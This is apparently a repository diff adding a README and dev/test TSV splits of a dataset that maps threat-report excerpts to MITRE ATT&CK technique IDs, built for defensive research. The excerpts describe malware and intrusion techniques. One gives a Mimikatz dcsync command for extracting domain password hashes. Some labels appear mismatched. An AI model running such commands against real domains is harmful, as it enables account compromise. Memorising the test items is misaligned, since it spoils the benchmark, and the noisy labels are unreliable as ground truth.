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README.md

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----
-license: cc-by-4.0
----
+# The Security Attack Pattern (TTP) Recognition or Mapping Task
+[![License](https://img.shields.io/badge/license-CC--BY--NC--SA--4.0-lightgrey)](https://creativecommons.org/licenses/by/4.0/)
+[![arXiv](https://img.shields.io/badge/arXiv-2109.05105-29d634.svg)](https://arxiv.org/abs/2401.10337)
+
+We share in this repo the MITRE ATT&CK mapping datasets, with `training`, `validation` and `test` splits. 
+The datasets can be considered as an emerging and challenging `multilabel classification` NLP task, with over 600 hierarchical classes.
+
+## Datasets
+
+### TRAM
+
+This dataset belongs to  [CTID](https://mitre-engenuity.org/cybersecurity/center-for-threat-informed-defense/), is originally provided in this [github link](https://github.com/center-for-threat-informed-defense/tram). 
+
+We processed the original files (i.e., gather from all sources, remove duplicates, resolve noisy / too short text and noisy labels, remap to MITRE ATTACK 12.0) and split  into training, dev and test splits.
+
+### Procedure+
+
+The dataset consists of two sub- datasets:
+- Procedures: belong to [MITRE](https://github.com/mitre/cti/tree/master). All procedure examples from v12.0 are gathered and processed (i.e., remove markups) and split  into training, dev and test splits.
+- Derived procedures: we crawled the URL references for each procedure example, and extract original text from the articles that are determined to be relevant to the procedure examples. The text are processed and split  into training, dev and test splits.
+
+### Expert
+
+The dataset is constructed from a large pool of high-quality threat reports.  
+The rich textual paragraphs are carefully selected and then annotated by seasoned security experts.
+
+The dataset is also pre-split into `training`, `dev` and `test` splits. There are ~4 labels per text in the `test` split, on average.
+
+## Citations
+If you use the datasets in your research or want to refer to our work, please cite:
+```
+@inproceedings{nguyen-srndic-neth-ttpm,
+    title = "Noise Contrastive Estimation-based Matching Framework for Low-resource Security Attack Pattern Recognition",
+    author = "Tu, Nguyen; Nedim, Srndic and Alexander, Neth",
+    booktitle = "Proceedings of the 18th Conference of the European Chapter of the Association for Computational Linguistics",
+    month = mar,
+    year = "2024",
+    publisher = "Association for Computational Linguistics",
+    abstract = "Tactics, Techniques and Procedures (TTPs) represent sophisticated attack patterns in the cybersecurity domain, described encyclopedically in textual knowledge bases. Identifying TTPs in cybersecurity writing, often called TTP mapping, is an important and challenging task. Conventional learning approaches often target the problem in the classical multi-class or multilabel classification setting. This setting hinders the learning ability of the model due to a large number of classes (i.e., TTPs), the inevitable skewness of the label distribution and the complex hierarchical structure of the label space. We formulate the problem in a different learning paradigm, where the assignment of a text to a TTP label is decided by the direct semantic similarity between the two, thus reducing the complexity of competing solely over the large labeling space. To that end, we propose a neural matching architecture with an effective sampling-based learn-to-compare mechanism, facilitating the learning process of the matching model despite constrained resources.",
+}
+```
+
+## License
+This project is licensed under the Creative Commons CC BY License, version 4.0.

datasets/expert/expert_dev.tsv

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+text1	labels
+For the discovery phase, the Carbanak and FIN7 campaigns gain more knowledge about the system by gathering listings of various information: open application windows, running processes, IP addresses and other network identifiers in remote systems, detailed hardware and system information, system network configuration and settings, and system owners and users.	['T1033', 'T1016', 'T1057', 'T1082', 'T1590.005', 'T1590', 'T1049']
+The packed executable stores the LV ransomware binary as an RC4-encrypted data within a section named “enc.”	['T1486']
+As shown below in Figure 4, the DLL was saved to the victim’s home directory at C:\Users\[username]\tru.dll. It ran using regsvr32.exe.	['T1218.010']
+To steal information from the Windows Vault, it appears that the Agent Tesla authors converted a PowerSploit script into C# to build a .NET assembly.	['T1059.001', 'T1587.001', 'T1588.001']
+Threat actors behind Cring used weaponized tools in their attacks. One of these tools is Mimikatz, which was used to steal account credentials of users who had previously logged into the system.	['T1528']
+After loading the Cobalt Strike DLL, there was an almost instant injection by the process into the Werfault process.	['T1055.001', 'T1055.011', 'T1055.002']
+In this incident, CARBON SPIDER also used the KillACK PS backdoor, executing the malware using both PowerShell and PowerShell ISE. KillACK sends host information to a C2 server (in this case, againcome[.]com or besaintegration[.]com) and executes provided PS script blocks. Multiple KillACK modules have been observed by CrowdStrike Intelligence, including modules for conducting self-propagation and AMSI hot-patching, as well as for executing Cobalt Strike stagers and enumerating network information.	['T1546.013', 'T1059.001']
+A threat actor with knowledge of the machineKey can construct a malicious ViewState and then generate a new and valid MAC that the server accepts. With a valid MAC, the server will then deserialize the malicious ViewState, resulting in the execution of code on the server. Publicly available tools such as YSoSerial.NET exist to construct these malicious ViewStates. This is precisely how APT41 initiated their campaign in May 2021. 	['T1037.002']
+Similar to SPRITE SPIDER, CARBON SPIDER has gained access to ESXi servers using valid credentials. The adversary has typically accessed these systems via the vCenter web interface, using legitimate credentials, but has also logged in over SSH using the Plink utility to drop Darkside.	['T1505.003']
+What is peculiar about this file is it is a variant of the open-source MicroBackdoor, a backdoor allowing an attacker to browse the file system, upload and download files, execute commands and remove itself from the system (Figure 13). As the threat actor would normally have a foothold into the network prior to ransomware deployment, it raises the question of why this backdoor is part of the ransomware execution. One possibility is that it is used to monitor ransomed systems for blue team and incident response (IR) activity, though even in that case it is unusual to see offensive tools dropped at this point in the infection.	['T1588.001']
+The first artefacts we found relating to MATA were used around April 2018. After that, the actor behind this advanced malware framework used it aggressively to infiltrate corporate entities around the world. We identified several victims from our telemetry and figured out the purpose of this malware framework.	['T1588.001', 'T1587.001']
+Another example of a Trojan with the same functionality is Backdoor.Win32.ZAccess (ZeroAccess). Its most favored targets are users in the US (27.7%) and Germany (11%).	['T1588.001', 'T1587.001']
+Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.” .	['T1588.001', 'T1583.002']
+We also observed another malware distribution method of Roaming Mantis which is linked to prezi.com. Prezi is a popular computer application and online service to create dynamic presentations. The criminals used this service to spread their scam. When a user visits a page crafted by the attackers, a link is shown offering free content such as adult video, a game, a comic, music and so on, like pirate editions.	['T1566.002', 'T1204.001', 'T1598.003']
+Sixth and seventeenth places were taken by members of the Hqwar dropper family: Trojan-Dropper.AndroidOS.Hqwar.bb (3.36%) and Trojan-Dropper.AndroidOS.Hqwar.gen (1.57%), respectively. These packers most often contain banking Trojans, including Asacub.	['T1588.001', 'T1587.001']
+These downloaders maintained PDB strings with “PuppetLoader” filepaths. These PuppetLoader strings pretty clearly connected the multistage loaders with past PuppetLoader downloaders, only this time, redesigned and rewritten in C#. Past PuppetLoaders, written in C++, maintain explicit strings:	['T1588.002']
+Like many other stealers its main purpose is to steal credentials and information from web browsers, in addition to stealing cryptocurrency wallets, FTP credentials, various files and information about the system such as OS version, system language, processor type and clipboard data. 	['T1555.003']
+A new Ducktail phishing campaign is spreading a never-before-seen Windows information-stealing malware written in PHP used to steal Facebook accounts, browser data, and cryptocurrency wallets.	['T1566']
+We saw some cases where a separate loader – WindowsTool.exe – was used to implement persistence and execute DeepCreep with InstallUtil, a legitimate tool from the .NET Framework.	['T1218.004']
+QAKBOT has gained execution through users accessing malicious link	['T1204.001']
+"In 2013, Kaspersky reported on a threat actor group they named “IceFog” that had been attacking a large number of entities related to military, mass media, and technology in South Korea and Japan. This group developed their own backdoor for both Windows and OS X. And just this year, Kaspersky published a report on a group they named ""Careto/Mask"" that utilized an open source netcat-like project designed to run on *nix and Windows systems named ‘sbd’ which they wrapped in a custom built installer for OS X."	['T1587.001']
+This module propagates Trickbot via the EternalRomance exploit. It enables WDigest Authentication by modifying the UseLogonCredential value in the HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest registry key. This modification is forced to save credentials in lsass.exe memory (Local Security Authority Subsystem Service). The tabDll32 module then injects the embedded module screenLocker in explorer.exe and locks the workstation with the lock screen, forcing the user to login again. It waits for next user login and scrapes the credentials from LSASS memory utilizing Mimikatz functionality. Stolen credentials are sent back to the C2. After that tabDll32 downloads the payload from hardcoded URLs – usually the Trickbot loader (downloader) – starts up to 256 threads and uses the EternalRomance exploit to rapidly spread the downloaded payload over the network. Another embedded module, ssExecutor_x86, is used to set up persistence for the downloaded payload on exploited systems. This module also contains the main code of the shareDll32 module, and uses it to spread over the network.	['T1003.001', 'T1547.008']
+While WannaCry ransomware has spread primarily through SMB exploitation, its operators may also use other distribution methods. Early reports suggested WannaCry was spread through malicious links in spam messages; however, FireEye has been unable to corroborate that information from any of our investigations to date.	['T1566.002', 'T1203']
+The jar that exploited CVE-2013-2423 dropped a 9002 RAT with a MD5 of d99ed31af1e0ad6fb5bf0f116063e91f. This RAT connected to a command and control server at asp[.]homesvr[.]linkpc[.]net. The jar that exploited CVE-2013-1493 dropped a 9002 RAT with a MD5 of 42bd5e7e8f74c15873ff0f4a9ce974cd. This RAT connected to a command and control server at ssl[.]homesvr[.]tk.	['T1210']
+On November 25, we confirmed that another malware, AzoRult, was served from the same URL previously serving Smoke Loader. AzoRult is also a commodity malware that steals credentials, cookies, and cryptocurrencies. This AzoRult accesses the following C2 address, which is a different path on the same C2 server with the Smoke Loader.	['T1588.001']
+Spam messages sent to users of VKontakte contained a personal address and were far more lively. These messages contained a link to a server, which redirected users to porn sites. Users were told that in order to view videos, they had to download a codec, which turned out to be Trojan.Win32.Crypt.ey, a malicious Browser Helper Object. This caused the first five results in any web search query to be malicious links. Kaspersky Lab estimates that approximately 4000 VKontakte accounts were stolen with a few hours. 	['T1566.002']
+Current module doesn’t create any local logs, instead all information is kept in memory, which is later compressed using Zlib 1.2.5, encrypted, encoded with Base64 algorithm and submitted to the C&C server.	['T1132']
+Trojan.AndroidOS.Fadeb.a could be regarded as the least successful of the malicious programs described above. Its activity also increased starting in early May, but even in the first half of July, which was its most active period, the number of users attacked did not exceed 1,000 per day.	['T1587.001']
+. . . This timeline shows that the attackers have been busy developing a new component of the infection chain almost every month since April 2020.. . A visual timeline of the evolution is presented here:. Visual timeline of the evolution of the infection chain of CRAT.. . 	['T1587.001']
+Patterns in certificate issuer data for Dridex HTTPS C2 traffic are somewhat unique when compared to other malware families. They can be key to identifying Dridex infections.	['T1596.003']
+The main worker sample contains five icon resources with valid icons named 16, 256, 4097, 8193 and 12289. The names indicate different icon resolutions, but the icons only differ in the encrypted data appended to them which can be considered as a form of steganography. This data is encrypted with a custom algorithm and additionally zlib compressed. The same method is used within the SSP DLLs. A Python script for decryption and decompression can be found in the Appendix. After decryption, the data blob has the following structure:	['T1027.003']
+In response, the malware receives an extended loader – a module in a format typical of ZeuS, i.e., not a standard PE file but a set of sections that are mapped to memory by the loader itself: executable code, relocation table, point of entry, exported functions, import table.	['T1587.001']
+PLEAD’s installers are disguised as documents using the right-to-left-override (RTLO) technique to obfuscate the malware’s filename. They are mostly accompanied by decoy documents to further trick users. We’ve also seen PLEAD use exploits for these vulnerabilities:. . 	['T1036.002']
+Attempts to check the language settings.	['T1614', 'T1614']
+Indicators, such as logs in Windows Event Logs or malicious files, are typically removed using wevtutil, a batch script, or CCleaner.	['T1070']
+Compromised accounts may be used to maintain access to the network.	['T1078', 'T1078']
+Black Basta uses bcdedit to boot the device in safe mode.	['T1562.009']
+Windows Defender, other anti-malware solutions and monitoring tools are disabled utilizing a process explorer tool, a batch script or a specially crafted command line script.	['T1562.001', 'T1562.001']
+Affiliates use hidden windows to hide malicious activity from plain sight.	['T1564.003', 'T1564.003']
+CreepyDrive uses the OneDrive HTTP API (and the Dropbox HTTP API) to access the cloud storage.	['T1530']
+It can upload or download files from attacker-controlled accounts in these cloud services, and execute supplied PowerShell code	['T1580']
+Smuggles a file’s content by hiding malicious payloads inside of seemingly benign HTML files.	['T1027.006']
+PapaCreep is a previously undocumented custom backdoor written in C++ that can receive and execute commands from a remote server via TCP sockets.	['T1071']
+CreepyDrive is a PowerShell backdoor that reads and executes commands from a text file stored on OneDrive or Dropbox	['T1580']
+On a similar note, they like to divide the code in their backdoors, distributing malicious functionality into various small DLLs, perhaps expecting that defenders or researchers will not observe the complete attack chain.	['T1622']
+The final stage is a Windows executable-type malware that is capable of stealing information from the victim such as file lists, user keystrokes, and stored web browser login credentials.	['T1056.001']
+Russian state-sponsored APT actors have conducted bruteforce password guessing and password spraying campaigns.	['T1110.001', 'T1110.003']
+Russian state-sponsored APT actors have exploited Windows Netlogon vulnerability CVE-2020-1472 to obtain access to Windows Active Directory servers.	['T1212']
+Russian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates.	['T1552.004']
+Russian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic.	['T1090.003']
+Chinese state-sponsored cyber actors have been observed using Cobalt Strike® and tools from GitHub® on victim networks.	['T1588.002']
+Chinese state-sponsored cyber actors have been observed:  Exploiting vulnerable devices immediately after conducting scans for critical zero-day or publicly disclosed vulnerabilities. The cyber actors used or modified public proof of concept code in order to exploit vulnerable systems.  Targeting Microsoft Exchange offline address book (OAB) virtual directories (VDs).  Exploiting Internet accessible webservers using webshell small code injections against multiple code languages, including net, asp, apsx, php, japx, and cfm.	['T1133']
+Chinese state-sponsored cyber actors have also been observed modifying group policies for password exploitation.	['T1484.001']
+The actors staged archives of collected data on a target's OWA server.	['T1074.002']
+The actors renamed archive files containing exfiltration data with innocuous looking names and extensions (e.g. .wav and .mp4) to resemble benign files	['T1036']
+The actors renamed the WinRAR utility to avoid detection.	['T1036.003']
+Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands.	['T1047']
+Each sample contains malicious code that writes an embedded payload to disk and launches it. However, the malicious code was inserted at different locations in each of the trojanized PuTTY samples. In the PuTTY sample discovered by Mandiant, the code resides in the connect_to_host function, which is in the source file putty-0.77\ssh\ssh.c. To trigger the code, the user must attempt an SSH connection to the host IP address provided in the Readme.txt file (Figure 1).	['T1620']
+A bash installation script to be placed into /etc/rc.local.d/ to ensure its actions will be executed upon each bootup of ESXi. This script executes the ELF backdoor	['T1547']
+Reviewing the ESXi hypervisors during an active attacker event, Mandiant identified an attacker executed commands to the guest machines through the process /bin/rdt (VIRTUALPITA). The parent process /bin/rdt spawned a bash shell which called on a python script specifying the target guest machine and commands to run as seen in Figure 4.	['T1202']
+UNC4166 deployed the payload AzureSettingSync.dll and configured its execution via a schedule task named AzureSync on at least one device. The schedule task was configured to execute AzureSync via rundll32.exe	['T1218.011']
+"Conti ransomware uses CreateIoCompletionPort(), PostQueuedCompletionStatus(), and GetQueuedCompletionPort() to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. Conti ransomware can use Windows Restart Manager"" to ensure files are unlocked and open for encryption."""	['T1486']
+Conti ransomware can enumerate remote open server message block (SMB) network shares using NetShareEnum().	['T1135']
+In this attack, an attacker pretends to be a DC and uses the Directory Replication Service Remote Protocol in order to extract NTLM hashes of users in the domain. One of the accounts he can extract using this protocol is the KRBTGT account, allowing the attacker to create golden tickets and as a result, compromise the domain completely. To perform this attack, the attacker must have compromised an account with special rights allowing the domain replication. These permissions are granted by default to domain admins, administrators, enterprise admins and domain controllers groups. The Mimikatz command performing this attack is- lsadump::dcsync /domain:<domain name> /user:<domain user account>	['T1207']
+Like a typical ransomware TTP, Nefilim enumerates files before encrypting them. It uses some FileAPI functions such as FindFirstFileW, lstrcmpiW and FindNextFileW to discover files.	['T1083']
+Nefilim operators use the MEGAsync application to exfiltrate data to cloud storage. MEGAsync application synchronizes folders between the infected computer and an adversary-controlled MEGA Cloud Drive.	['T1567.002']
+In their current campaign, APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros. Upon execution, the initialized file downloads multiple malicious payloads from remote servers.	['T1586.001']
+The malware changes the file Created, Modified, and Accessed times of all of its dropped copies to the Last Modified time of ntdll.dll. To bypass the “File Downloaded from the Internet” warning, the malware removes the :Zone.Identifier flag using DeleteFile API, as shown in Figure 9.	['T1553.005']
+Exploit code that downloads a payload (such as malicious application) will not set a quarantine attribute (or can remove it), thus will not trigger Gatekeeper	['T1553.001']

datasets/expert/expert_test.tsv

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+text1	labels
+Capturing screenshots at a configurable interval and uploading them to the attacker. Downloading and executing additional files. Executing arbitrary commands on the system.	['T1105', 'T1113', 'T1041', 'T1005', 'T1119']
+The exploit also contains an additional check that ATMFD.dll is of the exact version “5.0.2.227”. As the Houston Disk exploit supported additional versions, we aren’t fully sure why the version range was narrowed down in DanderSpritz. Compared to ElEi, there is no indicative patch check, which may be because the DanderSpritz files are dated to mid-2013, which is prior to the patch that was identified by Kaspersky and is dated to October 2013.	['T1203', 'T1518']
+APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.	['T1598.003', 'T1566', 'T1583.001', 'T1036.005', 'T1598']
+Another important conclusion we drew from analyzing the exploited vulnerability is that we now know for sure that EpMe exploits CVE-2017-0005. On top of our analysis of both the Equation Group and APT31 exploits, the EpMe exploit aligns perfectly with the details reported in Microsoft’s blog on CVE-2017-0005. And if that wasn’t enough, the exploit indeed stopped working after Microsoft’s March 2017 patch, the patch that addressed the said vulnerability.	['T1587.004', 'T1588.006', 'T1588.005', 'T1499.004']
+DeathStalker has leveraged several malware strains and delivery chains over the years, from the Python- and VisualBasic-based Janicab to the PowerShell-based Powersing and the JavaScript-based Evilnum. The actor consistently used what we call “dead-drop resolvers” (DDRs), which is obfuscated content hosted on major public web services like YouTube, Twitter or Reddit; once decoded by malware this content reveals a command-and-control (C2) server address. DeathStalker also consistently leveraged anti-detection and antivirus evasion techniques, as well as intricate delivery chains that drop lots of files to the target’s filesystems. To kick-start an infection, DeathStalker usually relies on spear-phishing emails with attachments, or links to public file sharing services, as well as script execution based on Windows shortcuts. We have identified how DeathStalker’s malware compromises in clusters or targets various types of entities in all parts of the world, with a possible focus on law and consultancy offices, as well as FINTECH companies, but without a clearly identifiable or consistent interest. The targeting does not seem to be politically or strategically defined and doesn’t appear to be the usual financially motived crime. Because of this, we conclude that DeathStalker is a cyber-mercenary organization.	['T1027', 'T1102', 'T1566.001', 'T1059', 'T1598.002', 'T1598.003', 'T1566.002', 'T1059.005', 'T1204.002', 'T1059.007', 'T1204.001', 'T1204', 'T1566.003', 'T1059.006', 'T1566', 'T1588.001', 'T1059.001', 'T1587.001']
+While investigating the activity, we found a CASHY200 PowerShell-based payload that communicated with windows64x[.]com. We analyzed this PowerShell script and found that its DNS tunneling protocol matched the outbound DNS requests at the Kuwait organization which were blocked by DNS Security. We will provide an analysis of CASHY200 and its DNS tunneling protocol in a later section of this blog.	['T1071.004', 'T1572', 'T1583.002', 'T1059']
+The infection procedure lists all directories. Then, for each directory, it creates a copy of itself in the drive root directory using the same directory name and changing the directory attribute to “hidden”. This results in all the actual directories being hidden and replaced with a copy of the malware using the same directory name.	['T1083', 'T1036', 'T1036.005']
+Aro.dat is, in fact, an encrypted and compressed PlugX payload. The decryption routine within Aro.dat closely resembles that of older PlugX variants (see Figure 3 below) in that it involves multiple decryption keys and bit shift operations. Once decrypted, it gets decompressed via the Windows API RtlDecompressBuffer into a Windows module (DLL). The compression algorithm is LZ compression (COMPRESSION_FORMAT_LZNT1).	['T1140', 'T1027', 'T1106', 'T1027.002']
+The two variants of Helminth do require different delivery methods, with the script variant relying on an Excel spreadsheet for delivery, while the executable variant is more traditional in the fact that it can be installed without a delivery document. We speculate that the executable variant involves threat actors socially engineering the victim into running the payload, rather than installing the payload as the result of successful exploitation of a vulnerability. The multiple delivery methods suggest this threat group is capable of adapting their procedures to suit the current operation in the overarching campaign.	['T1204', 'T1204.002', 'T1204.001']
+The services simply call mshta.exe to download an HTML application that downloads and runs the same cryptominer loader.	['T1218.005', 'T1105']
+DeathStalker hides strings in Word embedded shape and object (OLE packages) properties, like the “hyperlink” property, to obfuscate the malicious execution workflow, as well as reconstruct and execute commands or scripts.	['T1027', 'T1140', 'T1036']
+Some malicious documents that we managed to retrieve contained a social engineering banner asking users to enable macros execution. This explains how the malicious logic from the macro-based delivery chain could actually be triggered when macros are disabled by default on most modern Office settings.	['T1204.002', 'T1204']
+In order to terminate some of these processes and services, DopplePaymer uses an interesting technique that leverages ProcessHacker, a legitimate open-source administrative utility. This application is bundled with a kernel driver that can be used to terminate processes and services. DoppelPaymer is bundled with six portable executable (PE) files that are encrypted and compressed in the malware’s sdata section. These PE files contain 32-bit and 64-bit versions of the following:	['T1027', 'T1140', 'T1489', 'T1562.001']
+The main payload is encrypted and packed inside the .tls section of the second stage injector. It first gets decrypted and then unpacked with the aPLib compression library. As persistence method, the main payload copies the initial loader to the AppData folder and creates a Jscript file inside the Startup folder which points to it. The second stage injector injects the main payload inside a x86 instance of svchost and patches its API function calls with an obfuscation technique to make static and dynamic analysis of the malware more difficult.	['T1027', 'T1140', 'T1027.002', 'T1547.001', 'T1055', 'T1036', 'T1055.012', 'T1547.009']
+The TwoFace loader parses the HTTP POST requests issued by the actor and references data at specific locations, more specifically at certain indexes within the posted data (C# “Request.Forms”) that the shell will use to determine the functionality the actor wishes to execute. While we did not have logs of HTTP requests for the loader shell, we were able to determine some of the indexes that the webshell will specifically access within the data. Table 2 shows the known indexes within the HTTP POST data that TwoFace references.	['T1071', 'T1071.001', 'T1105']
+"Starting in mid-December 2020, malicious actors that Mandiant tracks as UNC2546 exploited multiple zero-day vulnerabilities in Accellion’s legacy File Transfer Appliance (FTA) to install a newly discovered web shell named DEWMODE. The motivation of UNC2546 was not immediately apparent, but starting in late January 2021, several organizations that had been impacted by UNC2546 in the prior month began receiving extortion emails from actors threatening to publish stolen data on the “CL0P^_- LEAKS"" .onion website."	['T1505.003']
+We confirmed RGDoor installed correctly into IIS by checking the HTTP Modules display in IIS Manager. Figure 2 shows the RGDoor DLL (HTTPParser.dll) was loaded into IIS using the module name HTTPParser.	['T1036', 'T1036.005', 'T1505.004']
+The end result is a legitimate, though outdated (version 11, compiled on September 17, 2018, at 10:30:12 UTC), TeamViewer instance hijacked by a malicious sideloaded DLL (MINEBRIDGE).	['T1036.005', 'T1036', 'T1574.002', 'T1219', 'T1588.002', 'T1055.001']
+On April 24, 2017, a fourth IP address, this one apparently in the United States, issued 61 commands to the TwoFace webshell. Like the previous set of commands issued in March 2017 from France, this IP address issued the command to obtain objects in the Exchange Trusted Subsystem group, and it appears the actor copied over yet another webshell named “global.aspx” and set the file’s attributes to be hidden using the following command:	['T1083', 'T1105', 'T1564.001']
+Once the decrypted payload runs in memory, it exhibits the same behaviors as previous PlugX implant variants. It starts by decrypting the embedded PlugX hardcoded configuration settings. The decryption algorithm and XOR keys are fairly consistent across multiple PlugX implants. Code behavior closely resembles that of the RedDelta PlugX that’s been reported by Insikt Group. One noticeable difference with this sample compared to all the other known PlugX malware families is the magic number check performed during the initialization of the PlugX plugins. Historically, that number has always been 0x504C5547, which corresponds to the PLUG value in ASCII encoding. In this sample, the magic number is 0x54484F52, corresponding to the THOR value in ASCII encoding.	['T1027', 'T1140']
+BokBot has several executable modules that can be downloaded and injected into a svchost.exe child process. Once the relevant DAT file is decoded using RC4, no additional decoding or decompression is necessary for the executable module DAT files. The executable module header contains information necessary to ID the module:	['T1055', 'T1027', 'T1140', 'T1055.003']
+The decrypted payload belongs to the malware family POISONPLUG (MD5: 84b69b5d14ba5c5c9258370c9505438f). POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded command and control commands.	['T1027', 'T1140', 'T1112', 'T1543.003', 'T1070.004', 'T1569.002', 'T1547.001']
+The evolution of the reflective DLL injection technique can be found from the relevant PDB paths, and there are a lot of variants of this series of backdoors.	['T1055', 'T1055.001', 'T1620']
+Our Ramnit sample exploits both CVE-2013-3660 (by PlayBit) and CVE-2014-4113 (using the same exploit code originally found as a 0-Day). The original exploit for CVE-2014-4113 was part of an exploit framework in which the API passes a command-line argument, and that command is executed as SYSTEM. As that wasn’t the original API for PlayBit’s exploit, some adjustments were made and PlayBit’s exploits were re-adjusted to receive a command-line argument to be executed once elevated.	['T1068', 'T1203']
+In total, we observed three variations of CMSTAR in these recent attacks against Belarusian targets. The biggest change observed between them looks to be minor modifications made to the string obfuscation routine. A very simple modification to the digit used in subtraction was modified between the variants, as shown below:	['T1027', 'T1587.001']
+After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.	['T1059.001']
+The lure documents captured in this attack are in Yiddish[1] The attackers exploit office with OLE autolink objects (CVE-2017-0199) to embed the documents onto malicious websites. All the exploits and malicious payload were uploaded through remote servers. [1]The language is automatically identified by Google Translate  _Notification in the pop-up window: _ Links to this document may reference other files. Do you want to update this document with the data in the linked file? Once victims opened the lure document, Word will firstly visit a remote website of IE vbscript 0day (CVE-2018-8174) to trigger the exploit. Afterwards, Shellcode will be running to send several requests to get payload from remote servers. The payload will then be decrypted for further attack. While the payload is running, Word will release three DLL backdoors locally. The backdoors will be installed and executed through PowerShell and rundll32. UAC bypass was used in this process, as well as file steganography and memory reflection uploading, in order to bypass traffic detection and to complete loading without any files. The main process of the attack is shown in the following figure:	['T1203', 'T1140', 'T1059', 'T1027', 'T1102', 'T1204.002', 'T1036', 'T1204', 'T1059.001', 'T1204.001', 'T1218.011', 'T1548.002']
+The hooking of IofCallDriver is implemented in a relatively unconventional way. The hook unwinds the execution stack; if it finds any driver in the stack which is not in the rootkit’s allowlist, and that driver attempts to read certain files, a fake “reading successful” status is returned. However, the file is not actually read.	['T1057', 'T1014', 'T1518.001']
+The execution flow of GandCrab 2 is inherited from GandCrab 1 (pictured), and can be roughly divided into three parts: housekeeping (appears in the diagram as teal), C&C Communication (green), actual encryption (yellow) and final housekeeping (teal again). This execution flow proceeds as follows:	['T1486']
+Each target country is assigned its own operator, who is able to take advantage of local cultural features – for example, the tendency to use personal email accounts for work. They also made use of a specific proxy server within a country’s borders, to manage connections to infected computers and transfer data to the attackers’ Command-and-Control (C2) servers.	['T1090', 'T1090.002']
+Throughout January 2020, FireEye has continued to observe multiple targeted phishing campaigns designed to download and deploy a backdoor we track as MINEBRIDGE. The campaigns primarily targeted financial services organizations in the United States, though targeting is likely more widespread than those we’ve initially observed in our FireEye product telemetry. At least one campaign targeted South Korean organizations, including a marketing agency.	['T1105', 'T1598.002', 'T1598.003', 'T1566.002']
+Now that we have the decrypted AES key, we can decrypt the actual payload. The Flash downloader uses a custom initialization vector (IV) for the AES algorithm which can be found at offset 0x44 in the encrypted blob and is 16 bytes long:	['T1027', 'T1140']
+Unlike previously identified RedDelta PlugX samples, this one uses a legitimate Avast Proxy executable for the second DLL side-loading phase rather than the legitimate Adobe executable used in previously analyzed samples. When loaded into memory, the PlugX payload uses www.systeminfor[.]com for command and control — the same domain used across the Catholic church-themed PlugX samples. Across all four newly analyzed samples, the first stage DLL loader files share an identical, uncommon import hash and rich header with previously observed first stage RedDelta PlugX DLLs. The loaded PlugX payload also matches the custom RedDelta PlugX variant previously described, using RC4 encryption for C2 communications with the same hardcoded RC4 passphrase and configuration block decoding function.	['T1573', 'T1574.002', 'T1027', 'T1140', 'T1036.005', 'T1036', 'T1104']
+In February 2019, Unit 42 found that a yet-to-be-known threat actor — unbeknownst to the infosec community — discovered that the second unpatched vulnerability can not only exploit VirtualBox VBoxDrv.sys driver v1.6.2, but also all other versions up to v3.0.0. Furthermore, our research shows that this unknown actor exploited VirtualBox driver version 2.2.0 to target at least two different Russian organizations in 2017, which we are revealing for the first time. We anticipate this was done because the driver version 2.2.0 wasn’t known to be vulnerable and thus most likely is not on the radar of security companies being exploited. Since no other victims have been found, we believe this is a very rare malware used in targeted attacks only.	['T1068', 'T1203', 'T1588.006', 'T1211', 'T1588.005']
+This attack consisted of maldocs masquerading as internal government or military documents. For example, some of the maldocs discovered by Talos masquerade as Indian Air Publications (IAP) documents dictating safeguard procedures for the IT infrastructure of the Indian Air Force (IAF). These documents are aptly named:	['T1036']
+After the bootstrap is finished, the exploit triggers a call to the NtGdiBitBlt syscall. This initiates a chain of events in the Windows kernel and eventually passes the flow back to our user-mode callback (DrvBitBlt()) registered by our UMPD. Here lies the heart of the exploit.	['T1068', 'T1106']
+When initiated, the Python code attempts to retrieve and use SOCKS/HTTP proxy settings from the victim’s computer. The Python code then tries to initiate a reverse connection to the C2 server (139.59.46[.]154:3543) using a TCP protocol with RSA+AES traffic encryption and obfs3 transport using default keys from Pupy sources.	['T1573', 'T1095', 'T1090', 'T1573.001', 'T1571', 'T1090.001', 'T1001']
+"To gather credentials and facilitate lateral movement, ransomware deployment, the operators used PowerShell to recursively search the file system for logon credentials stored in text files and spreadsheets. The PowerShell tool ""SessionGopher"", capable of extracting session information from remote access tools, such as WinSCP, PuTTY, FileZilla and more, was also used enabling RDP and the Microsoft Sysinternals utility PsExec to allow lateral movement."	['T1003', 'T1555', 'T1021.001', 'T1059.001', 'T1021', 'T1005', 'T1552.001']
+The platform is started by the kernel mode driver component (“msndsrv.sys” on Windows 2000 or above and “mssvc32.vxd” on Windows 9x). The driver then waits for the system to start and initiates execution of the user-mode loader “mscfg32.exe”. The loader then starts the platform’s central module (an orchestrator) from the “mscfg32.dll” module. Additional drivers and libraries may be loaded by different components of the platform, either built-in or auxiliary.	['T1543.003', 'T1106']
+In June of 2015 a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name “LocalSMS.dll”. This downloader makes requests to adobe.update-service[.]net (hardcoded in the sample) and is further discussed in Appendix A.	['T1036', 'T1036.005', 'T1027.002', 'T1105']
